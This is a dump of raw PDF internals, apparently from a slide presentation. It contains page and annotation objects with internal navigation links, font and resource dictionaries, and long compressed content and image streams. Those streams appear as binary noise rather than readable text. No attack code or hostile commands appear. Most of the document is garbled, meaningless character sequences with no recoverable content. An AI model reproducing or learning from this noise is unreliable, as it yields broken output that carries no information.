wNƷ0 B!1qxkJ{(At5X3Clئ\P8k6~3f as'sDez ؓpj׌+ 5cRuB9jNw F&4Zq;Z`>sZ4RDmAO>^jV7Tq v5~?T N^.fy?LɃ6#_(DDPLsN2xE ZeP>XD_8+]G16hv."wqrd#m ?aF-E0ژ.渇IHGCH,m9}T$O o)6a}|+wg !`*02'g A<\spI$}ͧc̴sp-ʎq\0>qm_cMXA}Ƴ)YNW" ǂ4HokA?f ] ,$}'rM}klJQr\,-o0ߊ]6tZ|#MNC W`Mc͞!gd8C‡oB_o% %/ /%vu71?U>"ǝӵ|\=#/m]b;YjETQu.{]_.hˡS>_tD_q鹫$S>tJu\oi+?Ek2 =fYe9`Ki|[k3^F /K endstream endobj 631 0 obj << /Type /Page /Contents 632 0 R /Resources 630 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 491 0 R /Annots [ 602 0 R 603 0 R 604 0 R 605 0 R 606 0 R 607 0 R 608 0 R 609 0 R 610 0 R 611 0 R 612 0 R 613 0 R 614 0 R 615 0 R 616 0 R 617 0 R 618 0 R 619 0 R 620 0 R 621 0 R 622 0 R 623 0 R 624 0 R 625 0 R 626 0 R 627 0 R 628 0 R 596 0 R 597 0 R 598 0 R 599 0 R 600 0 R 601 0 R 629 0 R ] >> endobj 602 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 603 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 604 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 605 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 606 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 607 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 608 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 609 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 610 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 611 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 612 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 613 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 614 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 615 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 616 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 617 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 618 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 619 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 620 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 621 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 622 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 623 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 624 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 625 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 626 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 627 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 628 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 596 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 173.47 167.034 185.473] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 597 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 147.129 151.749 158.574] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 598 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 122.163 101.969 131.675] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 599 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 110.207 109.959 119.024] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 600 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 96.32 182.187 107.069] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 601 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 69.42 253.638 80.865] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 629 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 21 0 obj << /D [631 0 R /XYZ 28.346 246.281 null] >> endobj 116 0 obj << /D [631 0 R /XYZ 334.488 1.245 null] >> endobj 633 0 obj << /D [631 0 R /XYZ 334.488 1.245 null] >> endobj 630 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 674 0 obj << /Length 1978 /Filter /FlateDecode >> stream xZ]s[EϯXn~/w@潠If.R I8&L䜳/IH+(q-H߀(a8XѫI)ABX|6vo:v \JgST./:sJ\ HaL$^Z b2?:qċ!]K&Jquw&9u̓88Kl LN)h(O*р$cA@:sqfEe% E|f}4&TٔRs\(oEc÷A){yuPbõ|3A`jԐN$o@y+H]OC$T:5MҊh=oϺģ  jtgGJ[Oȵ*Π>%w"X]|NHRoUhOnNBn;lŝ>HO[Q^|>^< 8{Ф|d$8 1XDNz)5t;.hނhiKfTi+uN$44XU8'T/U}AbVrԔg<(FM#';9Ay`ٮqEz6Izmȹ'{T܍=r8Lcs{z9XǸea]jX"Ey#_G?y94GE쑾w[ڿ).7!x)7SpOϦ p;J_xeXL;:'_dO".CB/v5-K}KܬQ"ﶃc?U^jV7T8 ?v'~~RSZ]~R9m$ǎhEqA1~|'T}?@ p$hAu CkSᬌv",bl\D#LsƿA~[9 {ًLi1]p-L-YrH o)aC|'wg !`%0:'gDA<\sp }rcsq+ʎq\0!qmߌcMX}}ƳΉYNW" ǂ4HokA3FOndb=X Y'6 7Zm6xZP  ,"dr7tdiyT IY(79'y-b?,]si(C΢zW;"hHfQ{Blx(Se+&[۲S1V [\+)lչˋlscZ#͠h|ܩY<]bymK >Y HTfAm~{~_/ho˱SV_t'Dp+RtNŇܜŹ+O+d:zK{V-8 +1^g!`: endstream endobj 673 0 obj << /Type /Page /Contents 674 0 R /Resources 672 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 491 0 R /Annots [ 644 0 R 645 0 R 646 0 R 647 0 R 648 0 R 649 0 R 650 0 R 651 0 R 652 0 R 653 0 R 654 0 R 655 0 R 656 0 R 657 0 R 658 0 R 659 0 R 660 0 R 661 0 R 662 0 R 663 0 R 664 0 R 665 0 R 666 0 R 667 0 R 668 0 R 669 0 R 670 0 R 637 0 R 638 0 R 639 0 R 640 0 R 642 0 R 643 0 R 671 0 R ] >> endobj 641 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 4.689 4.689] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 676 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 676 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 2.34438] /Coords [1.52634 3.34418 0.0 2.34438 2.34438 2.34438] /Function << /FunctionType 3 /Domain [0.0 2.34438] /Functions [ << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.97047 0.9707 0.97894] /C1 [0.85236 0.85353 0.89471] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.85236 0.85353 0.89471] /C1 [0.8022 0.8033 0.84172] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.8022 0.8033 0.84172] /C1 [0.80157 0.80235 0.8298] /N 1 >> << /FunctionType 2 /Domain [0.0 2.34438] /C0 [0.80157 0.80235 0.8298] /C1 [1 1 1] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962] /Encode [0 1 0 1 0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 644 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 645 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 646 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 647 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 648 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 649 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 650 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 651 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 652 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 653 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 654 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 655 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 656 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 657 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 658 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 659 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 660 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 661 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 662 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 663 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 664 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 665 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 666 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 667 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 668 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 669 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 670 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 637 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 173.47 167.034 185.473] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 638 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 147.129 151.749 158.574] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 639 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 122.163 101.969 131.675] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 640 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 110.207 109.959 119.024] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 642 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 96.32 182.187 107.069] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 643 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 69.42 253.638 80.865] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 671 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 25 0 obj << /D [673 0 R /XYZ 28.346 246.281 null] >> endobj 634 0 obj << /D [673 0 R /XYZ 334.488 1.245 null] >> endobj 675 0 obj << /D [673 0 R /XYZ 334.488 1.245 null] >> endobj 672 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Fm20 641 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 710 0 obj << /Length 2286 /Filter /FlateDecode >> stream xkoGܗVn~K^p~лv XVBGr+Xr$hp\ v{s VZ  ixЖ)Tݵx -QRkxvN>ոPjhU &#'TtȤFI6_rL e'"reT*;:rI:Z-;؈Ŷ,C:>0$rQD  ^k`D#VZZT0`K ؁ᘉ1QfeZ T&vx2Dˤ>bZ!̪kɵvljvl&1{Н@Z * '%J5cW ̽,цً(KغIeك<^$#p->=(/I`! V/ВYRgoEB'}N}*(4X ~$=mORlJ3|9Ŕ\<# UL뜐(\FFH"\pv砜 $ݱ R£B* <(/CfiYT-4ք_+NS[֝J2EFgJ8{yhvj;(DU(zy >T2.ڨނ QWҺғ<-VA].;ǹJcWNDT_:K Iè)n2D%AC'bhp;#w! A݃ )n<c8}08$ل3:>xvpx"3]9-/OѴ^&留%@{|7:#ԕ Qq&޾2IYc1}IMܑ;{Ͽ%mp,hYUIflH ~/ͪŻe] f3n2MWyVEt\yMq< "f~kNXzsqNy}T/## 6'q9A㜑IՃ=Jcd:Zx£#Vƺ);З)!|lTI.@xHr y# T%BBn(<>C܃-! e^ȏŨ^ TH냟)bedF`}JDVF-`=)dh *q XX9i+ COM1^&jJ Ѥĺ@P&$k }I h !$+v4-IT*D,Hx 9#%4y#3Eotx.J+H-PIq 2k|5fa/qX'E$F94y3+\ϴu n\g-g=~6n>ȡ!%"Rj=]u:h/s\f>09硳n޺f_7cYeyl6z>J"-{6S*F"͛iCd$!9DaB;A9"rˆ 4 >$֌.:jA+˹RHwcz%9%k$w\vt%j!ҵej9Fk.b V-1H lm3 j9kM?.0dˆSHn&Zؐ+thOxSS* U,FvFB精eO9q.QNj{\+zh3osX0+Vۑ^_fnR83wwR{Ҿ۰ #;gIy,3R.m_;-~T6&pA߀3i<^; *e\uZt{#wƲ׻7 Ý|~f> T˟~Gp> /Parent 712 0 R /Annots [ 680 0 R 681 0 R 682 0 R 683 0 R 684 0 R 685 0 R 686 0 R 687 0 R 688 0 R 689 0 R 690 0 R 691 0 R 692 0 R 693 0 R 694 0 R 695 0 R 696 0 R 697 0 R 698 0 R 699 0 R 700 0 R 701 0 R 702 0 R 703 0 R 704 0 R 705 0 R 706 0 R 707 0 R ] >> endobj 679 0 obj << /Type /XObject /Subtype /Image /Width 2246 /Height 1653 /BitsPerComponent 8 /ColorSpace /DeviceRGB /Length 192759 /Filter /FlateDecode /DecodeParms << /Colors 3 /Columns 2246 /BitsPerComponent 8 /Predictor 10 >> >> stream x?YqOčG H?'"!XHDiin]  dWC4̒HsYH tY $)A{H\.A-uf9Sly{f5޳~˲8fYOd& ûϮY(TUuEQTUUE4[1ƘǝqA7 zRqe!)p)u]Mhg-4=0-(ޗey3>pzB)p7=R*ܢ~mXk˲:˲iCz^hAlڶMDzQyo6,˦/RZu-\VAcV1FB<ϧZY Ik-%YrFy4<`Px<ϫjF)5MY8RJIc^2kE6cr&=嬵]vOs,ˮaQMύaN}RJ.|UJ4ǫ:MӦia ( !pH u-EBZq4 csN:)$:diZc4M\]]MCpO)9@RJ%IҶi;4M3=DE8 DJ\ݳ#%8({[5 x$b9ZƝ{!7vϻMiJýW )~lwNlqN^d , A/UU9$JӴmۃL%M(2ZE'iqDZ?A0sHIV{nMKkvcՍRyKԶlhqfڶw/jpϗ^Bǒpoя߶7w}wޑ=|E{|;a۟}ݯ~||/YGI8oG}{}_ Pªmȝ\__|Z;gax}])zw8y;;rϏ>((}ɽy}sι_)%A| q7{_//m>r΅a8=o߿#yG0 s^z5 ֖eZ뽗~zA}w3.5#cLYav]wPF4qRYu=>sɲLIWH͓u]gY&ȓ#P%˕RJ]ڲ:u]}/K4EQ4]iaZm)NODZkWJ`dq)uJi8oDJ\(W9')GGu41&MS"Ȗ΅sNw "R?B\Ƙ0 4X=4W(2τH 3K)MSF ^8(("x>sZk%Fs!R&ْ^ $["dzi$AH$1̅H <ҊM6I$"gbAp EQ$mbt)C {TAzn~#R/%x]$ےa^~ٌٟ#?^?s)0Mb!DPOgz??y3 n#VƠH|h, 8K7=w?S?wR),O}S_5X' >4uDJ`1/'?ɻ6DJ`~~??&RxRKfɲl*%dg6H ,s{>O)<X;~[ߚc,獵296ͧ> >qg>~ ,)2A?~]Es)˲,ib-%p4{gH ,v!އa8(#D9`8<k)[7ΉDcz$_{9qiqo({X kmeEQ<1OZkUSJ)f!P׵sSE4ξi6MsÍ1RQ$k۶*ܸXs.˲v{'>0x.u][k5r^ȁ#<ar)}yS}my0cLaZk$vqmqι<07bZI:'Yn?Q`FT)1 <p6赅gbybT+r1 ð<4.MSmX*i*Ha?ZUUYrjQX8JfqtZ/-9ASVkmI,˲,|ld#z.9$AẮ``zB/MS9KUUiy44 RJy%jn}o> ÃzZEyYJ\:,RK& ӣ΃IbѢ($:C*b5Ms(Uk]U _w R wDq?4o_E1 i^z>AL4Em۹Ga{X |ꊢ뺶m8{߶muu]UUuy_τsc׻id}AaKrR"RN,ͽ^xs*IJdZu]eeWUeu]y>sNk}'>6 Nk)ᙤiO`EQUUYkUUI$G=n8$ 0M0 ,sulZ&}kaZyDZ,Kkm]}$IQYkssOymR2gmիǀeLxe}ߗeYU\Ắ۶_gcLe6Mj5g3=ǡ{//9Xk,+[k os,zn4EpRA߽ԼL!]mEP=v^ZƝ8Y by\%$8wDJ+b逄F璮j<<5M$IguwP(PJe)osM_m۶Mtߓ2)!4M#y0 y$ `{iu]i^[xa osZi.(#]I%4`XK 8UUICg:1!i7mnM4MsZYj߳C^RjIfӶj{߶fݎ< H 8iZkIiZD81Zk5ԕ$7Su-05M㜓תʲ,9DZz^,{?>dRt[xIa6McfйeYn6﫪M˳zc2]Vv}PskmaSeUU]r 2>4MRKhZMdA)~`٨R0Yv(2M๥iu~WJ9$YeY}=}ߗe^$q)}uIxo=҅axM7MHQq| Lp"1(mm۲,t)cy?ww:Ѯ6"Tu,wx.4_}x5iri%/<{?DZD_J)bZXT)eiz4MK `9gi{?((ZR' dM씳qj+/H ,S8J#uB$pGL+?Nrc:]`LbR#5X&\sx1׹^ј377 CDR%3 TDJ`bax7?{gEwX tP46eYe)RjƲK'WUUS $ҘM˧<.#pxڪR){tHaݞXUu m۲, ( EqIϸ{P% ,Ky"r1$p sX6),ku~?kkiyZz-ݞ}gY$s(~횦9<4Mv^)K$˲p V*eR)Gf|xn꬧{(jm[f\fS׵p0Eq֗nJ.0 эO{?Ѐ:('c}TDJXk,˲, CID6)}LO?^*1UU]]]5M$(#_KqpzxaDJqu$IWWW]-;*$I~Ѵ֛9']EQk( rm6#{BJX</H x*YGknI0 nZkYGpy^eUUva]v,X6szV #RC8eiiA+(wg%xm4M}݂ /a>hZຮKA#MExF<,+ئ>z"dRJiphe^[s8KƘiu46 Yk9cLuqu휋H,{_'a^,y EQܸ%Mɐ)S>Yu_nAhea0 r7u۶ZYj|m[h9drvkiV>niyΧr!],<k)aوJ x0uGz^{w yesNUU%{nEQZiۭnDBaP;]gqƘ7DZ;tV\UU0cd$}ߧizEQn;/aڪm4m ac 꺾q&JSb1DJG̩i" vn0 ܳS|Q1(oeQ7tcnQ ƏN?S6}n:Tu}y~iw>s,=\a3D̅H x rvCauz\Q9'9Y,˃}?Vԍ;zZHO& EQ4VH;+K.=cw>+{O#R孹8&Hm[UqE꺮m&TYZ IseYN1Ru=){Þm1{9q#H5mJS*od#8Ny剏\Y)8i\㳓;4-˲g\r\N)5mP˲8s_V q#HnoKdN͉\ ʲZvƳ/96۫P4# aR43ShԶz;&(nZGt{p ^knOd>oZFnUJI=s>(v+3i7M$u]iɗ1$I6ZVnEQ=4`s$X$kH 0daVU^kmɲ,TEqĐ1ZZAiUUJX K )4M8>Ycオ㜓,MӢ(fZLi#p%숔aQRȡ $5Yk%C!N)ƒc$Z;䢍n%ꍗQ&zވwX$k-mӚ1ZeDQaӧ[|;uj4i1$LMWOuKv5í(N| LcR \9T&?ھ&N7fKA !r" ñqNʳE3M19k/p,s,Gޏ] DJ -864:8…ȳ19\ׯ/+Fn =# { F!xDVpt7D p >1w,)%.'.1e숔BH,sJ 0;"%Tr`y(Q"%Ƙ )NX(pdDJA# ùs9G;) R a{IY))?ws~k 7眣 cUJ= H q{덪EPOO5N$O:k,1iG@)8")'t'(d[8x볒E΃dZ;ơQऐ cI1NǐH#EBc#PZUU'4T鳓ڦ4MO^;c yt)1CrIADGQIbFMZ$Mι,_&`F{~09"% Rp+c̍RQHf65ٮ'Lt^w,1fGCG8ZgHo$Lctt=aRJqZFph|qyt)Ikmiv;>  rZ뺮R<7jaIXH pjf#4MPJQtqT^km<Rl6R5#XxQTwXK cpR EQ ð((^ei*dhLAttkr1yFPƘq{Q3]ϟ9J:$ڋ}&"%x{/aIimnVҦZlH5ɘȒ]Q;rFSSIb2,8CBw^B\ð*><0 im%XjfqsNk=fHAi*kJUUwEf4$,2ZJ)jADYk"%"x, w'EJ1u]'InϽ\Ikm0i hR+6~;Oi뺖`)cԌ#sR9s3l6(iI@=٤in(l6ӥ΅sm,1< prizqo1ƘjeaZsI$IzUycm&I✓C%IRee2џeY$Yɝ}9W׵1II[A}$Iyky;(\\Jk$1f~_UEKta0$I~xI'+5+Z1j.2VtO0Wx[k%իW7p|ߍo ^XcMՍ;fvcv~ٜl‹B{?H X(1Gf砆FZ'鷲4S*MOīq["c^3<.];:uYRȵ5*")+.:1b1Qz "%`(RJ~"}UUc Aэ Rc3:c80 u]qQEQ$mێ}衤Aw>]JSoeYv]w97tcmf|Qp3n:0 :n(N牔R;ݸo{_IuJrMheY hژNKv$"y>˲݁"4u:ʥ#H <Q\(*mz];^z-ʓm ^ǩ(I4Mٻ, aXk1rR-J$qɬE\)Q Z^e u)1eYkk3s8( 4d ~Q14km Y9ˤ|xI=9d)(v+M<_y}OI?"A WK)uű||iJZqUUy"N9lQc,}z#~֗v\ /oy7q1'kp3"%ࢥiu0 Q}^$FROd:Iz}E0\]]u]wMRҳxWfַ%AHqIԸ&4 ^k-^Ai*Rz9VU,K)Z꺮$Iau)1<Ӷmɓ+,s, kuu恩 X 1 &ZuEiHz$B)DZR/eͲ(Mɤ>ι\vKǪYkH.I(Npޚ{NKER1F,eviz4^(qo,vέV$IX?a'z^e`_Yu,?^@4aRw(2֞hH dV/( \EQu]75cQ@)U}:4M4 1R'w ðinga/cusĤ<ΑH p0\0<|JQZ{qt 8glb)0 *aN J9rαΑV>2@x"%̣({2E"?q!c9ʲ\<,fe{繴n뺮k|x^e)OpZIQrmbZSU,$jJxg!go$As_2qyN&3O+V۶aqxzzx=gYFn#˲$IƷA u-"%L@kmvi˲{lQJm+szv|>id5Ʉ4Ͳ{N4IQBAeܹ7^>_UymFQe(بzdE㲩U;Z[EuSA GQ+I늢2PE JmTU% ]|pzSDJX$Isߝ}3A|xZ;%I";rZ )NJ( C v( %l%C6zHԴ&zDr~csF`R]IԵX| ~ѥSDJ@E{G<%2km]_.AyhlHk۶ma$( tn($Kd??e霻k/:IVp3ATUu<\sAJGk;="R4j6c0(RJI7{}R]DQ8RHk=v%I"AAx$sYDEQr~\}ثgo\k]׵Z"Q:o,ْ)""* 3j !R4d4MosQe%I7vH#ɮqZkT4mʞu˷u]g\1HD)%M?hfc]Qe,J#Cڶ]VeYEq?\ YPAqܶmeYj۶֨y!R.r,/#â.f10T.ƹܗ5`לsu]u]$%7vcLHOZV0]C}Z)qq|dZ87 k3ǻwj^WUif.%LF)UU0 Z0 B擋̼g< aj> &(4eYkl|SDJXE&I8p_֜{GG!8ׂLeXƍ iuz$F/αC#Cx&ZEAp 